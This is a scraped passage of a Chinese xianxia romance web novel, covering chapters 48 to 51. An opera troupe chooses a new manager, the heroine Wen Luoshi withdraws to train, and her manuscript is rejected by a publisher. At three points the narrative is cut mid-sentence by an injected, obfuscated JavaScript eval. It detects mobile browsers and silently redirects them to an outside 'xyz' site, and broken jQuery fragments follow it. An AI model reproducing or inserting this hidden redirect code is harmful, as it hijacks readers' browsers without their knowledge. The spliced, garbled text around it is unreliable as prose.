一人不服气,仰着脖子大喊道:“收钱办事而已!那叫常绫的如今不是也活得好好的,没缺胳膊少腿的,我等罪不致死吧?” 长晓凉凉地瞥了他一眼,浓烈的冷意从他的眼眸中散出,吓得那人立刻闭嘴,不敢再多言。 “常绫没有缺胳膊少腿,但这个世界上,不是只有身体受损才算受伤。精神上的受伤比身体受伤更可怕。你们为了钱,随意就从精神上毁掉一个普通人,居然还有脸面质疑受害者是否受伤,无耻至极。” 文落诗却是第一次经历这种“审问”场面,她可没那么沉得住气。 她说完,阿妍惊讶地看了她一眼,没想到她口才这么好。 果不其然,那几人瞪着眼睛,像是想通过眼神把文落诗千刀万剐,可谁也不敢再说什么。 此时,长晓沉声开口:“常绫没有缺胳膊少腿,但你们或许可以。” 他刚一话落,文落诗震惊转头,见长晓眸中波纹十分平静,而这表面的平静下暗流涌动,蕴藏着无数杀意。 那几人瞬间噤声了,试着挪动了几下胳膊,但在五花大绑下,这丝动作聊胜于无。 阿妍收到长晓的眼神指示,利落地起身挥手。只见那几人被在团团紫光席卷,随阿妍本人一起消失在房间内。 是紫光。 她走后,长晓缓缓抬眼,那深潭一般的眼眸看向文落诗:“说实话,若不是想着你在场,怕你吓着,我真不会这么心慈手软。” 文落诗早就懵了,半天没说出话来。 直到长晓的手在她眼前晃了又晃,她才回过神,气若游丝:“所以……你让阿妍把他们怎样……?” “打一顿,然后放了,”长晓神色平常,盯着杯里漂浮的茶叶,“不过会盯着他们,如果再有类似的事情,就不止打一顿这么简单了。” “……”文落诗身上的温度霎时间回来了,“我还以为,你想直接要了他们的命。” 长晓眼睛眯了眯:“我若是说,本来是这么打算的,你当如何?” 文落诗垂眸思考了好久。她其实能猜到,但是听长晓亲口说出来,还是心下有些苦涩。 “我不干涉你的决定。这次的事情表面上是冲着常绫来的,但你我都知道,实际上是冲着你来的。” 她缓缓抬头,抿了抿嘴唇。 “我最大的毛病就是心软,跟我熟的人都知道,这么多天你应该多少能看出来。哪怕是对于这种以践踏他人性命为生的烂人,都还是狠不下心。但是长晓,你不能被我带偏了。虽然我不知道谁在跟你斗,但我不想你因为我,被对方一步步碾碎,到最后连骨头渣都不剩。你心软一次,很可能就导致不久的将来,你和你身边的人,比如阿妍,都被索命。” 长晓眼神中的波澜顿住,静静看了文落诗很久。 “我没想到你会这么说。”他低下头。 文落诗坐得离他近了一点:“是没想过我会如此信任你吧?” 长晓颔首。 “那你现在知道了?” 长晓抬眼,看着近在眼前的文落诗,那笑靥在暖光中明亮而柔美、好像他只需要轻轻一低头,便能碰到她的脸颊。 “喂喂,把你直勾勾的看美女的眼神收一收,聊正事。”那美人转过头去,不再看他。 他就知道,她从来不吃这一套。 但那又能怎样呢?昨日已经在她的哭的时候忍不住抱她了,如今她清醒着,不可能同意自己再抱她。 长晓内心叹了口气。 “我还没问,”文落诗起身伸了个懒腰,想起方才阿妍的紫光,“我刚知道,阿妍是熙光之人啊?她看起来修为一点都不低。” 长晓见她话题转移得这么快,有些想笑:“嗯,但她其实修为没你高。” “我有点好奇,你怎么认识的阿妍?她可是年龄比你都大哎。而且你之前说,她跟余家有关系。好神奇。” “你是不是想问,我手下怎么会有熙光之人?” “嗯。” “我想做的是让五道平等,而不是把当今的顺序打乱,建立一个新的鄙视链。所以,无论哪一道之人,只要有被我看上的一点,我都会收拢的。” “哦——”文落诗故意拉个长音,头轻轻一歪,“那我呢,你看上我那一点了?” 长晓盯着她,嘴角缓缓一扬:“你真想知道?” 文落诗点头。 “和他们不一样。我看上你整个人了。” 文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853919|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落诗转头又不理他了。 这个人,真是的。没法好好聊天。 “好,我不问阿妍的事情了。话说回来,今日我还是去找一趟常绫。虽然昨日路演相当成功,如今带头散布谣言的人也已除掉,但寻光还有些遗留问题需要处理。比如,谁来当新的总管事。” “当然,我陪你一起去。” 大约正午十分,二人来到戏班居住的院落里,看一群人正堆在院子里,像是在商讨什么。 常绫看到文落诗来了,提着裙摆一路小跑,扑进她怀里,左抱右抱没完没了。 文落诗任由她搂搂抱抱一会,开口:“你们商量得怎么样了?我们是不是来迟了?” “没有,一点都不迟。我们刚商量好,就按你说的,以后每月月末正式演出不变,在每月月中加个路演,具体之后连着一年,十一个月,十一场路演,分别演什么,在哪里演,我们都商量好了。回头我给你列个单子。哦对,朱紫不在了,我们角色也有变动,不过都安排好了。” 常绫叽叽喳喳说完,看到长晓在文落诗身后。 “昨日我们整个寻光都十分感谢长晓魔君的相助!” 戏班里一片轰然鼓掌。 “也同样感谢落诗姐姐的出谋划策!” 一阵呼声又起。 文落诗放眼望去,戏班众人,无论所属哪一科,此刻脸色都充满光亮。 这或许就是他们名为“寻光”的初衷。他们此刻,终于历尽千辛万苦,渐渐回到了最初。 长晓在一旁,简单提及了把散布谣言之人抓获的事情,迎来又一阵高呼。 “对了,国不可一日无君,这你们都知道,所以同样的道理,你们总管事的位置不能空置太久,不然到时候群龙无首,麻烦得很。”文落诗已经从常绫的怀抱里撤出来,对着人群说道。 那群人当真是群龙无首,一听这话,纷纷开始思考。 长晓有些无奈,他看出来了,与文落诗预想的一样,这些人是当真还没开始思考这个大问题。 不过后来没多久,他们就商量出结果了。 其实大家都想让常绫来,但常绫态度十分坚决,自己不想做领头的人。至于原因,跟她之前所说的一模一样,不想每天为一群人操心,焦头烂额。 文落诗再次表示理解。 而长晓的眼神中颇为无奈,又有些羡慕。 最终,一个角落的里的姑娘发话,说自己可以试试。 她叫寒芦。 常绫之前提过她,但她平日里深居简出,又不负责表演和音乐,很少露面。不过她资历深,性格沉稳,颇有干大事的气质,原本的工作是写戏折子,平日里事务也不多。而且,她本来就是小管事,如今上位,来接手整个戏班子,相当合理且合适。 后来,一群人又商量了些后续的事宜,便三三两两散了。 文落诗忽然叫住常绫,正好寒芦也没走,一同停下。 “我近日有个想法,之前跟长晓提过,想等所有事情确定了再跟你说。如今万事俱备,我就说了。” 常绫双眼清澈,散发着好奇。寒芦倒是平静,静待佳音。 “接下来一年,我打算闭关修炼了。” 49. 寒声不解戏中人 常绫震惊:“啊……不是,我没听错吧?你还需要再修炼?”她转头看了看长晓,见他神色如常,看上去提前知晓此事。 文落诗笑出声来:“我为什么不需要?我奔波了一年了,修为就没怎么涨,这也下去可不行。我常常以为自己已经很厉害了,但前几天对付朱紫时,我才知道自己在真正的危险面前不堪一击。” 长晓在一旁替她补充:“落诗就是对自己要求太高了。她的上进心有时候让我都害怕。” 常绫懂了:“所以你的意思是,接下来不陪我们演出了?” 文落诗道:“正式的演出我就不看了,我相信你们。但是每月月中,我会来帮你们路演。毕竟这个形式太新鲜了,容易遇上突发情况,多一个人就多一个脑子。所以,记得提前透露给我个地点的单子。” 寒芦在一旁疑惑:“落诗,你这是打算出城?” “不出城,但是打算在周围山脚下找个清净的地方。” “她想陪你们演完,所以还要在这里留将近一年的时间,直到你们结束在寒声的演出,去到下一个地方。而且她的稿子书局也在审着,她也在等结果,一时半会走不了,才给自己找点事情做。”长晓道。 “你的稿子两个月左右就能有结果,但我们接下来要在这里度过一年。我知道你是想留下来陪我们,谢谢你。”常绫感激道。 文落诗摆摆手:“我左右都是出门游历,去哪里都一样。” 长晓凉飕飕瞥了她一眼,心中道,这话听着真耳熟啊。 寒芦忽然在此刻开口:“落诗留下来陪我们,那长晓魔君接下来一年的打算呢?” 常绫和文落诗闻言,都转头看向长晓。 长晓神色平静,但眸色染上一层淡淡的水雾,像是有无数道细波涌动。 “我留下来陪落诗。” 常绫一副了然的表情,并不意外。 寒芦眼珠一转,好像也懂了。 文落诗闻言却是一呆,整个人从头到脚都显得有些慌乱。她连忙解释道:“他的意思是说,之后每个月中旬,也会陪你们一起路演。” 常绫笑着点头,十分敷衍,满脸写着“我懂”,然后笑眯眯地拉着长晓走了,说要去商量一下后续路演的事宜。 于是刹那间,空荡荡的院落里,只剩下文落诗愣在原地,目睹着寒芦甜甜笑着走近。 寒芦一看就跟常绫的个性不一样。常绫活蹦乱跳的,寒芦则是个端庄稳重的淑女。 她走到文落诗面前,认认真真地欠身行礼:“落诗,这次戏班遭遇大祸,如今重见天日,实属不易,我作为戏班里最早的那一批人,是发自内心感谢你。” 文落诗和寒芦不熟,如今只剩下她们两个人,她一下子回到了与陌生人相处的拘谨状态,十分端庄地笑道:“不必客气,当今世道对于普通人很是不利,能多帮到一些人,是我的荣幸。” 不过,其实她心下略有些疑惑。 她隐约记得常绫告诉过她,最早的那一批人只剩下常绫一个了,寒芦并非最初那一批,是后来才入班的。 可是眼下,她自称是最早的那一批人。 文落诗想到,之前常绫提过,贠莫所写的戏折后来都挂上了寒芦的名字,想来寒芦这人是个爱居功的。或许是她以为自己不知道真相,便随口夸大其词。 于是,文落诗假装随口问了一句:“哇,你刚刚说,你是戏班最早的那一批人?” 寒芦笑着点头,一副大家闺秀落落大方的模样:“是啊,如今只有我和常绫是最早的一批人了。别人都比我们晚入班很久。” 文落诗一怔,见寒芦如此坦荡,她一时间不知道是哪一边的信息有误。 有什么奇怪的预感从她心中划过,但只是一刹那,她没有捕捉到,那预感就转瞬即逝。 这时,寒芦忽然眨眨眼,看了文落诗好久,双唇微开,却又紧闭上,欲言又止。 文落诗见她眼珠子转个不停,有些好笑:“是不是有什么事情想问我?尽管问。” 寒芦咽了口吐沫,像是下定决心一般,开口:“你和长晓魔君,什么时候成亲啊?” 文落诗脑子没转过来,怀疑自己听错了:“什么?” 寒芦有种豁出去了的意思,强忍着笑,眼中写满八卦的意味,继续问道:“其实从抓鬼那天晚上起,戏班里就好多人都想问这个问题了。只不过没人敢这么直白地问你们。” 文落诗顿时五雷轰顶,久久一动不动。 寒芦也不着急,笑嘻嘻地静静等着回答。 “不是,”文落诗一个寒颤,好像刚反应过来什么,语无伦次,“不是你们想的那样。我跟他刚认识没几个月,只是把彼此当作一起旅行的朋友。而且我跟他住一间房,只是因为你们戏班太火热了,好多人来看戏,没有别的房间了……” 说着说着,她觉得越描越黑,心下尴尬,声音一点点小下去。 寒芦好像知道了什么不得了的事情,连连捂嘴:“啊,那天我们几个人猜得好准,你们果然住一起!” 文落诗觉得自己要疯了。她提了无数口气,却发现怎么也无法解释清楚,干脆重重把这口气舒出,朝天翻了个白眼:“这些不重要,重要的是,你们真的想岔了。” 寒芦不甘罢休:“那他为什么抱你啊?” 文落诗正欲开口反驳,忽然发现,自己甚至不知道寒芦所指的是哪一次。是长晓在抓鬼那天屋顶上抱住险些滑落的自己,还是在路演之后抱住梨花带雨的自己。 于是,她一咬牙:“那有什么,我也可以抱你啊。” 说完,文落诗大步走上前去,抱住寒芦,打了她个措手不及。 寒芦赶紧推开文落诗:“这不一样。” 文落诗挑眉:“怎么不一样?” 寒芦露出恨铁不成钢的神情,气得险些跺脚:“完全不一样,他绝对不是普通地抱你。” 文落诗觉得,主动权回来了,自己可以摆烂了,于是飘飘乎道:“行吧,我知道你是写戏折的,跟我的职业病一模一样。同为文字工作者,我很理解你的心情。你随便解读。” 寒芦愤愤地盯着文落诗:“我看出来了,你是真的不考虑任何谈情说爱相关的事情。” 文落诗目光一亮:“这你倒是说对了。” 寒芦无语:“为什么?” 文落诗觉得,总算有人问自己这个问题了。她这么些年,把这一席话憋了好久了。 “我觉得一个人挺好的,自由自在,什么都可以听自己的,不需要被婚姻束缚住,也不需要事事都考虑另一个人的感受。 “更重要的是,人的精力是有限的,同时把事业和感情顾好是极难的事情,我觉得我做不到,只能选择其一。而在我看来,没什么比事业更重要的了。 “我知道有很多人不求上进,只求找个好伴侣,依附着对方,过完接下来的一生。这就是典型的不够独立。但是我不考虑这样的生活,我想完全靠自己。 “我不想被别人认为是那种不够独立的女孩子。我想有自己的成就,所以,我这辈子不考虑嫁人的。” 一席话说完,文落诗暗暗给自己叫好了无数次,觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859690|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己这段话说得太好了,不愧是她。 而寒芦的眼瞳颤抖了几下,大受震撼:“你是真的油盐不进啊。” 文落诗想了想,认真回答道:“油盐我还是吃的,但是我不吃葱、不吃姜、不吃蒜、不吃香菜。” 寒芦目瞪口呆,再也说不出话来。 * 暗处的角落里,常绫拉着长晓看了很久。 “听到了没,我就知道,她就是油盐不进!”常绫气得跺脚。 长晓无奈扶额:“算了,任由她怎么想吧。” “你就这么算了?” “不然呢,她有她的追求,我有我的束缚。我们的确是一路人,但终会渐行渐远。” 常绫一时看着长晓,没说出话来。 “其实……你们是不是都没考虑过,各退一步啊。说不定,结果能好很多。” 长晓沉重地摇摇头,深深阖上眼眸:“没这么简单的。” 常绫在一旁心疼:“我特意麻烦寒芦今天去问她,我俩都排练无数次了,但真的没想到结果是这样。” 长晓苦笑:“常绫姑娘煞费苦心了。我从一开始就知道,这件事没有结果的。” * 离开寻光的院落后,文落诗来到寒声城城郊处,找了个僻静的山洞。 春意渐浓,那冰封的泉水开始涌动,从碎冰下汩汩冒出,盎然的生气正在渐渐扩散。好像万物在向她问好,招呼她共同迎接这逐日渐暖的一年。 文落诗静静看了很久,对着泉水一笑。这种自己寻得的快乐,只有自己知道。 其实,告别寒芦之后,她脑子里嗡嗡吵闹了好久。她之前就认真思考过寒芦的问题,但这些天来,她得出的结论,就是她和寒芦说的那样。 只不过她在说完后,感到一阵难言的遗憾。具体在遗憾什么,她也说不清楚。 她只知道,在那股遗憾转化为失去的痛苦之前,要尽快转移自己的注意力,阻止遗憾的感觉越来越重。 她在石洞中坐下,听着乳石上水珠滴落拍打地面的声音,心情慢慢平静下来,开始入定。 是啊,不管如何,长晓是个活生生摆在自己面前的榜样,他的修为简直令她望尘莫及。这些天,无论是正面的对抗,还是暗地里的危险,她都意识到,自己不能再以修为高而沾沾自喜了。 她的修为远远不够高。 她想继续旅行,想去救更多溺水在时代洪流中的人,就得保证自己先足够强大。所以,接下来这一年,她要把这段无事可做又没有离开寒声城的时间,用来自我提升。 至于为什么选择来到城郊,自己独身一人……她其实不太敢去想。 她只知道,看着长晓在自己面前晃悠,她是不可能专心致志修炼的。 修炼的时间过得很快。山洞中没有日夜,没有阳光和星辰,只有无尽头的冷清,和偶尔传来的滴水声。 文落诗在修炼之余,走出洞口,来到半山腰的平台上,静静地坐一整晚,用所有独属于自己的时间,来思考流星是如何坠落的。或者,她来到山脚下的林中,静静地站一整天,用所有独属于自己的时间,来观察一颗嫩芽是如何长大的。 久而久之,她惊奇地发现,流星的坠落是有规律可循的。偶尔有一天,她也会为萌芽冲破了泥土而热泪盈眶。 斗转星移,不知不觉,已经到了下一个月中,下一次路演的时间。 文落诗收了身上的魔气,手指一转,一张皱巴巴的纸出现在手里,上面写满了路演安排。她认真确认了时间和地点,化为一道烟,消失在洞中。 50. 寒声不解戏中人 文落诗赶到时,路演已经过半了。这回常绫一行人选择了人流量很大的一处巷口。文落诗从空中向下看,的确是万人空巷之景,震撼至极。 她趁着没人注意之时,悄悄在寻光众人身后显形。 那一瞬间,长晓指尖轻微顿住,险些错音。 寒芦在所有人演出者后面静静站着,看到文落诗来了,立刻凑到文落诗耳边,以手遮口,小声道:“今天比上次人多了。” 文落诗点头:“我来的时候,街巷里一片空荡,看来人全集中在这里了。” 这次路演十分顺利,结束时叫好声不断。 就当所有人满怀欣喜,准备顺利收工之时,忽然有一个姑娘跑上前来,冲向长晓身边。 文落诗见状,觉得眼前一黑。 完了,她最担心的事情还是发生了。她请长晓帮忙镇场子的时候,确实考虑过可能会有狂热的追随者一拥而上,给他添了麻烦不说,还抢了寻光的风头。 毕竟他名声在外,实在太耀眼了。 长晓也是愕然,眼睁睁看着那个姑娘满面春风地向自己冲过去,下意识地身子向后一躲。 谁料,这姑娘小碎步跑着,从长晓的身边绕过去了! 当所有人都脸上大写着疑惑时,那姑娘忽然手中粉烟流动,幻化出一捧花束,递到常绫面前。 常绫睁大眼睛,一时没反应过来发生了什么,吓得双手僵硬垂在身侧,迟迟不敢动。 只见那不知名的姑娘面上含羞,低着头把花束往常绫怀里一塞,再把常绫的胳膊抓上来,让她把花束抱好,紧接着一溜烟转头,人影消失。 场面一片寂静,所有人都瞠目结舌,连常绫本人也还处于懵的状态,直愣愣看着怀里的花。 文落诗盯着常绫看了好久,才渐渐意识到,好像有什么从来不敢想象的好事,真的发生了。 不知是谁咳嗽了一声,打破了这个僵持已久的沉寂。随之而来的,是一阵响彻天际的欢呼声,鼓掌声,和叫喊声。 文落诗走到常绫身侧,拍了拍她的胳膊:“恭喜你喽。” 常绫一个激灵,回过神来:“你什么时候来的?” “大概你们演到一半的时候吧,我一直在后面,跟寒芦在一起。” “所以……刚刚发生什么了?” “有人给你送花啦!” 常绫依旧不可置信,低头看向那束绚丽的花,反复确认了好久。 “我们常绫可棒啦!”文落诗在一旁继续道。 常绫使劲眨了眨眼,然后忽然抬头,看向天空的方向。 旁人对此或许不解,但文落诗知道,她是不想让眼泪流出来,让旁人看到。 对于一个被谩骂依旧的人来说,忽然收到肯定和温暖,是一定会哭的,现在的常绫,情绪一定激烈得很,心头一定翻涌着滚烫的血液。 半晌,直到人群渐渐散开了,常绫才盯着湿润的眼眶把头低下来,小心翼翼地张开嘴:“所以……现在有人不那么讨厌我了?” “那可不止,自信一点,觉得你很好的人可太多了,刚刚那些都是。” 常绫眼角通红,却是激动得语无伦次:“我没想过会有这一天……” 从选择这份事业以来,她就没想过会有这一天。 她以为,当初的选择就注定了日后的憔悴与低微,她要用未来的一辈子去祭奠自己当初的热情。 文落诗还没想好如何回答,就见常绫走上前去,把寻光众人的目光都吸引过来。 她把花向前一举:“这花是送给我的,但我想把它送给寻光。寻光是我的家。” 一个抱着琵琶的姑娘闻言,甚是感动:“我们当初加入寻光之时,就做好了穷困潦倒、被人碎嘴的准备,如今竟然能迎来无数赞赏,还能收获花束,真是熬出头了。” 此言一出,寻光众人纷纷应和,三三两两开始感慨。那朵花束格外明媚,就连乍暖还寒吹过的冷风,都被捂热了些。 但是此地不宜久留,因为刚刚寒芦告诉文落诗,自从上次路演和月底的正式演出都十分顺利之后,有了不少人疯狂追随,想打听寻光的居所,去求墨宝。所以,他们如今路演完,一定有人在不远处蹲着,看他们回到哪里去。 因此,寻光众人互相递了个眼神,一起施法,消失在原处。 文落诗愣在原地,还没反应过来,只听身前一声熟悉的笑,自己也轻飘飘飞起,被人施法被带走了。 * 重新幻化出身形之时,文落诗有些头晕目眩,待视线清晰之时,她看到的是一个再熟悉不过的身影。 “怎么瘦了这么多,又把自己累着了?” 还有那熟悉的语气,和那有温度的话语。 “没有,我这不是好好的吗?” 其实,文落诗见到长晓,心中漾起无数暖意,她甚至都不知道为什么。方才长晓向自己走来,什么也没说,只是轻轻一抬手,就将自己施法带走,她承认,自己内心是有一刻慌乱的。 如今平静下来,她很想寒暄几句,却没想好怎么开口。幸而对方先开了口,结束了自己的纠结。 “我带你出去吃个饭?” “不用,我就来看眼常绫她们,目前她们挺好的,我就走了。” “……” “怎么了?” “你就只想着常绫她们?” “不然我大老远回来一趟做什么?” 长晓阖眼,颇为无奈地叹了口气。 “哦,也顺便来看看你。” 长晓无奈皱眉,语气消沉:“只是顺便啊?” 文落诗眼神清澈,自然点头:“我总不可能为了见你,千里迢迢赶来。” 长晓气得都快没脾气了。 他真服了眼前这个姑娘了,真没见过像她一样不开窍的! 正当他郁闷得咬牙之时,文落诗忽然凑上前来,甜甜道:“我开玩笑的,我刚来的时候,听到你那时的音正好慢了半拍,是不是感受到我的气息了?” 长晓脸色稍缓,目光幽然:“你也太看得起你自己了。” 文落诗当然知道,他只是嘴硬不说。她笑盈盈道:“走哦,去吃饭,还去第一天来寒声时去的那家酒楼,我想喝他们家的豆浆了。” 她转身就走。 长晓则故意静立不动,嘴角向下一扯。 文落诗觉得后面人不动,便转回头来。一束阳光正好斜斜照在她的右颊上。她的脸半明半暗,让人难以看清,可她沐浴在光芒之中,安然而美好。 “你不来,我就回山洞里继续修炼喽!” 说着她就要施法飞走。 长晓一把抓住她的衣袖:“是不是在你眼里,我还没那豆浆重要?” 文落诗被长晓一拽,险些没站稳。 她认真思考了很久,斟酌道:“如果在修炼之余,你和豆浆只能二选其一,那我确实会选豆浆。” 长晓失语片刻,最终笑着摇摇头,衣袖在空中扬起,指尖一道强烈的蓝光涌出,将他和文落诗一同卷走,飞去了文落诗心心念念的豆浆之所。 * 说实话,文落诗这顿饭吃得心事重重。 一来,她动不动就抬头,偷偷看一眼长晓,思索他方才的一番举动。 他们走进大堂之时,长晓说这顿饭他请,文落诗当然不同意。转而,长晓叫来店小二,要一间雅座,文落诗一听吓坏了,她可不想让长晓花这么多钱,她就想在大堂里随便吃个饭而已。 特别是不想让他把钱花在自己身上。 结果呢,长晓不顾她所劝,要跟着店小二上楼梯。文落诗站在楼梯口不动,结果,她没想到的是,长晓径直走过来,抓住她的胳膊,把她拽上了楼梯。 ……就像之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870754|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前她拽住长晓的胳膊一样。 最尴尬的是,大堂里不少人在看着。由于长晓露过几次面,不少人都认出了他,见他如此宠溺地把一个姑娘拉着上楼,大堂里卷起了一阵滔天巨浪般的讨论。 文落诗只得摇头叹气,配合着被长晓抓着胳膊,跟上他的脚步。 她的内心是无助的,但是她还真说不出什么来,毕竟她之前三番五次地这么抓长晓的胳膊,长晓都默认了,也都没说话。 算是扯平了。 二来,这个酒楼的位置与欲晓书局极近。她自从交稿后,就渐渐忘却了时间,好像终于得到了一种久违的休息,不用在每日被事业缠着苦恼。如今的她,只需要干等着书局的消息,在此期间,什么都不用想,什么都不用努力。 但是,那个宣判生死一样的日子就快到了。她知道或许审稿的结果已经出来了,只不过她一直以修炼为由,不敢去书局。 与其说不敢去面对这个结果,倒不如说她害怕被拒稿。 虽然她嘴上说着自己不怕,但若是真正被拒稿,她说不好自己会是什么心情。 长晓自然看出了文落诗的不对劲,也不打扰她,只是趁着她发呆愣神的时候,给她悄悄把豆浆施了个法,加热一点。 待文落诗无意识地拿起那杯豆浆,送到嘴边,才恍惚看了长晓一眼。 “多谢你。” 长晓倒是平静:“你这是有多大的心事,连豆浆都不好好喝了。” 文落诗叹气:“所以你刚刚为什么抓我?” “要听实话吗?” “当然要。” “想让你好好吃顿饭,觉得你太累了。楼下闹哄哄的,只会让你更累。” 文落诗抬头:“我总觉得你还有话没说完。” 长晓静了一会,低声开口:“是。” 文落诗许久没听过长晓如此低沉的语气了。她握着豆浆的杯子,手却是一僵。 “我之前说,等常绫的事情结束,我们就不要同行了。也就是说,这顿饭可能是最后一次你我一起吃饭。” 文落诗只觉得,心中有什么东西晃过去了。 这么多天,他们谁都没再提这个话题,颇有默契地装作没有这事一样。但是事到如今,再逃避也没有用,时间会继续向下走,该来的也总会来。 “长晓,”她轻轻开口,“这段时间,我真的很感谢你在身边。其实你想多了,接下来还有将近一年的时间,你我都不会离开寒声,直到寻光在此处的演出结束。所以,若是想一起吃饭,还有很多机会的。” 她没有给出正面的回答,因为她不知道该怎么回答。 不过,她还是补了一句:“放心,今日这顿饭,之后我一定会请回来。” 她有些想哭,但又不知道为什么。 她甚至不知道,不愿意跟长晓继续同行,是怕他耽误自己,还是怕自己耽误他。 那顿饭之后,文落诗重新回到了郊外的石洞中,没日没夜地修炼,好像要牟足了一股劲,想要让自己再强一点,才能获得一点自我安慰。 一个月后,她只是在暗中去看了寻光的路演,并没有现身。 她也看到了长晓游离的眼神,像是在想,她怎么今日没来。 她不知道心里为什么难受,但她知道,自己现在没时间伤春悲秋。 这次进城,是因为收到了欲晓书局的来信。 昨日,那道黑影飘到她面前之时,她迟迟没敢伸手去接。仿佛打开那道来信,要花光自己所有的勇气。 她挣扎了许久,最终一闭眼,双指在空中一挥,打开了这封来信。 出乎她意料,来信并没有写明书局的意思,只是叫她去一趟现场。 于是,路演还没结束之时,她便继续隐着身形离开了。 挣扎许久,她想好了无数对策后,终于踏进了书局的大门。 51. 寒声不解戏中人 后来,文落诗是平静地离开书局的。 直到回到郊外,她都觉得自己平静得出奇。 平静得不像是一个刚收到噩耗的人。 她一个人回到石洞中坐下,甚至感受不到自己的心跳,周围风乍起,忽明忽暗,她也觉得感受不到情绪波动。 书局老板说,很认可她的能力,也很喜欢她的作品,作为第一次投稿的人,她已经很棒了。 只不过,话本这个东西,最看重的是受众的基数。她写的东西很好,但大家不一定愿意看。大多数人想看个新鲜的故事,而不是看她一个人侃侃而谈自己的思想。 看着文落诗失了魂一样的眼神,书局老板慈祥地告诉她,姑娘,我们要写的通常不是自己想写的,而是别人想看的。 直到回到石洞中,她还在咀嚼着这句话。 没事,不就是拒稿么,意料之中。大不了之后再写,再投。 她把木柴上架了个铜炉,给自己烧了些水,然后,清空自己的思绪,把那被退回的书稿抛在一边,闭眼,重新让阵阵魔气萦绕在身边。 就这样不知道过了多久。 她不想动,不想去看外面是何时辰了,只想一个人静静地坐一会。 刚入定,有什么东西就在她身边闪了一下。 她以为是洞外的星光,便没理睬。 可接下来的很长时间里,那亮光在熄灭后,又不停闪动着,势必要让她睁眼查看一般。 她坚持没搭理,渐渐觉得自己好累,不知不觉中,趴到地上,睡了过去。 文落诗第一次睁开眼睛时,她几乎是全身颤抖的。她做了一个很可怕的噩梦,在梦里,她一路被追杀。 忽然有什么巨响,她恍惚中一看,是自己方才的木柴已经烧尽,而她却忘了这件事。 铜壶掉落,滚烫的水撒出来,差点溅到自己身上。 她颤抖抬手,凭着本能念了诀,把远处的铜壶立起来,继续闭上眼。 然而,再次入梦,好不容易逃脱,却又迎来了第二次追杀。就在她要绝望之时,忽然醒了过来。 而此时,那道光还在闪着。 她仔细一看,却是愣住。 那是之前长晓给她的翠羽传意石,只不过他们二人一次都没用到过。之前她去绛霞双楼里找彦月,完全没想到要把翠羽传意石带在身边,才导致长晓联系不上她。那之后她长教训了,再也不敢因为自己的粗心大意让别人担心了。 如今这块石头亮了,亮着微微的翠色。 文落诗有些犹豫,手在空中一挥,石头的上面便泛起了几行字。 “落诗,你还好吗?” “你今日是没来吗?” “你在哪里,你能收到我的传信吗?” 文落诗看着空中悬浮的文字,身上一冷。 那三行文字的颜色深浅不同,越早传来的文字颜色会越淡,她大概估摸着,长晓怕是等了三个多时辰。 她看了看洞外天空中的星象,如今已是深夜,而最后一道文字光芒很亮,像是刚传来。长晓显然还没睡,一直在等自己。 “我在,我能收到。” 她几乎是一刻不停,立即在空中书写着。 “我刚看到。” “我还在之前的山里。” “我刚刚睡着了。” “实在抱歉,我没想到你会给我传信。” 而那行文字,几乎是在一瞬间之内回复的。 “是不是做噩梦了?” 文落诗震惊。 “你怎么知道?” “看你语无伦次的,像是被吓到了。” “我确实噩梦刚醒,现在浑身都是冷汗。” “你先缓缓,不急。” 那一瞬间,文落诗泪如雨下。 她甚至不知道自己在哭什么,好像是因为自己让别人担心了,又好像是自己终于接受了被拒稿的这个血淋淋的事实。 “我昨天晚上一直没睡好。所以今天也特别累。我刚刚连着做了两个噩梦,之前烧的水都给忘了,木柴烧尽,差点撒出来。” “你先缓一缓。” “嗯,你是不是熬了很久没睡?” “我没事,倒是你,是不是遇上什么事了?” “……我今天没去找你们。” 她犹豫了一下,还是没说自己今日的经历。 “长晓,你快睡吧,别管我了。” 而这之后,过了很久,文落诗才再次看到一行文字。 “要不要我去找你?” 她盯着这行文字许久,完全没有意识到自己的脸已经被泪痕堆满。她感受不到自己在哭,但眼泪不受控制地往下流。 许久,她颤抖地写道:“不用,我自己缓一会。会好的。” 她知道很多话本中,此情此景之下,她一抬头,就会看到长晓站在洞口。但她无比庆幸话本都是假的。她是真的害怕现在看到长晓,以这副落魄的样子见到他。 “那你好好休息,有事找我。” “我之后可能暂时不进城了。” “好,听你自己的。” 文落诗放下翠羽传意石,觉得全身无力,软塌塌地躺在草席上。她渐渐意识到,自己好痛苦。 她以为自己不会哭的。 哪怕被拒稿,也不会哭的。 但是看到长晓传信的那一刻,她全身冷汗,双手颤抖,毫无意识地哭出来。要不是感受到眼泪划过脸颊,她都意识不到自己在哭,一直哭到喘不过气。 